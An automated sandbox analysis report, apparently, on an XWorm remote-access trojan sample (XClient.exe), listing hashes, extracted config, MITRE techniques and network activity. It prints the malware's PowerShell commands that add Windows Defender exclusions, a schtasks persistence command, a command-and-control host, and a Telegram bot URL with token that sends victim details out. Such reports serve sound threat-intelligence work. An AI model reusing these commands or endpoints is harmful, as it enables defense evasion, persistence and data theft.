Analysis
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max time kernel
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max time network
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platform
windows10-2004_x64 -
resource
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resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/01/2025, 21:26 UTC
Behavioral task
behavioral1
Sample
XClient.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
XClient.exe
Resource
win10v2004-20241007-en
General
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Target
XClient.exe
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Size
86KB
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MD5
fd739632b35fe4c6619d875046de0977
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SHA1
3fe14c2b2cdbaa8704a8d4c5ea69bee939db8dd8
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SHA256
4644fee74d9836dae0e7083607ba473e0ff417637a73bde127aa8bcecfa724e5
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SHA512
ae3391fd936fe943e9196bd6af664a62659529fa329a9dd74134b3ba6901b2ee50da74423c56f192e2fbf3ab149d29fdea7b3ae6e37a489a3fea1f675099f29b
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SSDEEP
1536:+X9yT3O+aq7HgTiSCP19bB484JJT6x2SciO3+A+zn+B:u7lEgTaP19bBcc2UO3K+B
Malware Config
Extracted
xworm
blood-pattern.gl.at.ply.gg:5353
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Install_directory
%AppData%
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install_file
USB.exe
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telegram
https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020
Signatures
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Detect Xworm Payload 2 IoCs
resource yara_rule behavioral2/memory/2996-1-0x0000000000CC0000-0x0000000000CDC000-memory.dmp family_xworm behavioral2/files/0x000f000000023b5c-58.dat family_xworm -
Xworm family
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Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2136 powershell.exe 1292 powershell.exe 1832 powershell.exe 3024 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation XClient.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk XClient.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk XClient.exe -
Executes dropped EXE 2 IoCs
pid Process 4348 security 3076 security -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\security = "C:\\Users\\Admin\\AppData\\Roaming\\security" XClient.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3804 schtasks.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2996 XClient.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2136 powershell.exe 2136 powershell.exe 1292 powershell.exe 1292 powershell.exe 1832 powershell.exe 1832 powershell.exe 3024 powershell.exe 3024 powershell.exe 2996 XClient.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 2996 XClient.exe Token: SeDebugPrivilege 2136 powershell.exe Token: SeDebugPrivilege 1292 powershell.exe Token: SeDebugPrivilege 1832 powershell.exe Token: SeDebugPrivilege 3024 powershell.exe Token: SeDebugPrivilege 2996 XClient.exe Token: SeDebugPrivilege 4348 security Token: SeDebugPrivilege 3076 security -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2996 XClient.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2996 wrote to memory of 2136 2996 XClient.exe 84 PID 2996 wrote to memory of 2136 2996 XClient.exe 84 PID 2996 wrote to memory of 1292 2996 XClient.exe 86 PID 2996 wrote to memory of 1292 2996 XClient.exe 86 PID 2996 wrote to memory of 1832 2996 XClient.exe 88 PID 2996 wrote to memory of 1832 2996 XClient.exe 88 PID 2996 wrote to memory of 3024 2996 XClient.exe 90 PID 2996 wrote to memory of 3024 2996 XClient.exe 90 PID 2996 wrote to memory of 3804 2996 XClient.exe 92 PID 2996 wrote to memory of 3804 2996 XClient.exe 92 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2136
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1292
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\security'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1832
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'security'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3024
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "security" /tr "C:\Users\Admin\AppData\Roaming\security"2⤵
- Scheduled Task/Job: Scheduled Task
PID:3804
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C:\Users\Admin\AppData\Roaming\securityC:\Users\Admin\AppData\Roaming\security1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4348
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C:\Users\Admin\AppData\Roaming\securityC:\Users\Admin\AppData\Roaming\security1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3076
Network
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Remote address:8.8.8.8:53Request8.8.8.8.in-addr.arpaIN PTRResponse8.8.8.8.in-addr.arpaIN PTRdnsgoogle
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Remote address:8.8.8.8:53Request241.150.49.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request172.210.232.199.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request64.159.190.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request167.173.78.104.in-addr.arpaIN PTRResponse167.173.78.104.in-addr.arpaIN PTRa104-78-173-167deploystaticakamaitechnologiescom
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Remote address:8.8.8.8:53Requestapi.telegram.orgIN AResponseapi.telegram.orgIN A149.154.167.220
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GEThttps://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A21F55005142CFD0E53C2%0D%0A%0D%0AUserName%20:%20Admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Intel%20Core%20Processor%20(Broadwell)%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%20Error%0D%0AGroub%20:%20XWorm%20V5.2XClient.exeRemote address:149.154.167.220:443RequestGET /bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A21F55005142CFD0E53C2%0D%0A%0D%0AUserName%20:%20Admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Intel%20Core%20Processor%20(Broadwell)%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%20Error%0D%0AGroub%20:%20XWorm%20V5.2 HTTP/1.1
Host: api.telegram.org
Connection: Keep-Alive
ResponseHTTP/1.1 400 Bad Request
Date: Mon, 20 Jan 2025 21:26:35 GMT
Content-Type: application/json
Content-Length: 73
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
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Remote address:8.8.8.8:53Request220.167.154.149.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Requestblood-pattern.gl.at.ply.ggIN AResponseblood-pattern.gl.at.ply.ggIN A147.185.221.25
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Remote address:8.8.8.8:53Request209.205.72.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request53.210.109.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request18.31.95.13.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request172.214.232.199.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request8.153.16.2.in-addr.arpaIN PTRResponse8.153.16.2.in-addr.arpaIN PTRa2-16-153-8deploystaticakamaitechnologiescom
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Remote address:8.8.8.8:53Request23.236.111.52.in-addr.arpaIN PTRResponse
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149.154.167.220:443https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A21F55005142CFD0E53C2%0D%0A%0D%0AUserName%20:%20Admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Intel%20Core%20Processor%20(Broadwell)%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%20Error%0D%0AGroub%20:%20XWorm%20V5.2tls, httpXClient.exe1.3kB 6.7kB 11 11
HTTP Request
GET https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A21F55005142CFD0E53C2%0D%0A%0D%0AUserName%20:%20Admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Intel%20Core%20Processor%20(Broadwell)%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%20Error%0D%0AGroub%20:%20XWorm%20V5.2HTTP Response
400 -
260 B 5
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260 B 5
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260 B 5
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260 B 5
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260 B 5
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104 B 2
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66 B 90 B 1 1
DNS Request
8.8.8.8.in-addr.arpa
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72 B 158 B 1 1
DNS Request
241.150.49.20.in-addr.arpa
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74 B 128 B 1 1
DNS Request
172.210.232.199.in-addr.arpa
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72 B 158 B 1 1
DNS Request
64.159.190.20.in-addr.arpa
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73 B 139 B 1 1
DNS Request
167.173.78.104.in-addr.arpa
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62 B 78 B 1 1
DNS Request
api.telegram.org
DNS Response
149.154.167.220
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74 B 167 B 1 1
DNS Request
220.167.154.149.in-addr.arpa
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72 B 88 B 1 1
DNS Request
blood-pattern.gl.at.ply.gg
DNS Response
147.185.221.25
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72 B 158 B 1 1
DNS Request
209.205.72.20.in-addr.arpa
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72 B 158 B 1 1
DNS Request
53.210.109.20.in-addr.arpa
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70 B 144 B 1 1
DNS Request
18.31.95.13.in-addr.arpa
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74 B 128 B 1 1
DNS Request
172.214.232.199.in-addr.arpa
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69 B 131 B 1 1
DNS Request
8.153.16.2.in-addr.arpa
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72 B 158 B 1 1
DNS Request
23.236.111.52.in-addr.arpa
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
654B
MD52ff39f6c7249774be85fd60a8f9a245e
SHA1684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA5121d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
944B
MD5a7cc007980e419d553568a106210549a
SHA1c03099706b75071f36c3962fcc60a22f197711e0
SHA256a5735921fc72189c8bf577f3911486cf031708dc8d6bc764fe3e593c0a053165
SHA512b9aaf29403c467daef80a1ae87478afc33b78f4e1ca16189557011bb83cf9b3e29a0f85c69fa209c45201fb28baca47d31756eee07b79c6312c506e8370f7666
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Filesize
944B
MD5da185fddf7e751e39023edde12930f37
SHA1657fcb7fda401b69d3bb97e7b6abf126ac36d4b2
SHA2568928226805a92acd76d21e1a276176d9af3ca1ec31f14e45a2b4b88f4722cad5
SHA512db7bc02a1bd86d587840a56334dee9cb80aa0a8635cd2eb1c490bc5466659350de4d625f320731e34fac235016515d0dddc05a6081149dc6c2e82c262be6b975
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
86KB
MD5fd739632b35fe4c6619d875046de0977
SHA13fe14c2b2cdbaa8704a8d4c5ea69bee939db8dd8
SHA2564644fee74d9836dae0e7083607ba473e0ff417637a73bde127aa8bcecfa724e5
SHA512ae3391fd936fe943e9196bd6af664a62659529fa329a9dd74134b3ba6901b2ee50da74423c56f192e2fbf3ab149d29fdea7b3ae6e37a489a3fea1f675099f29b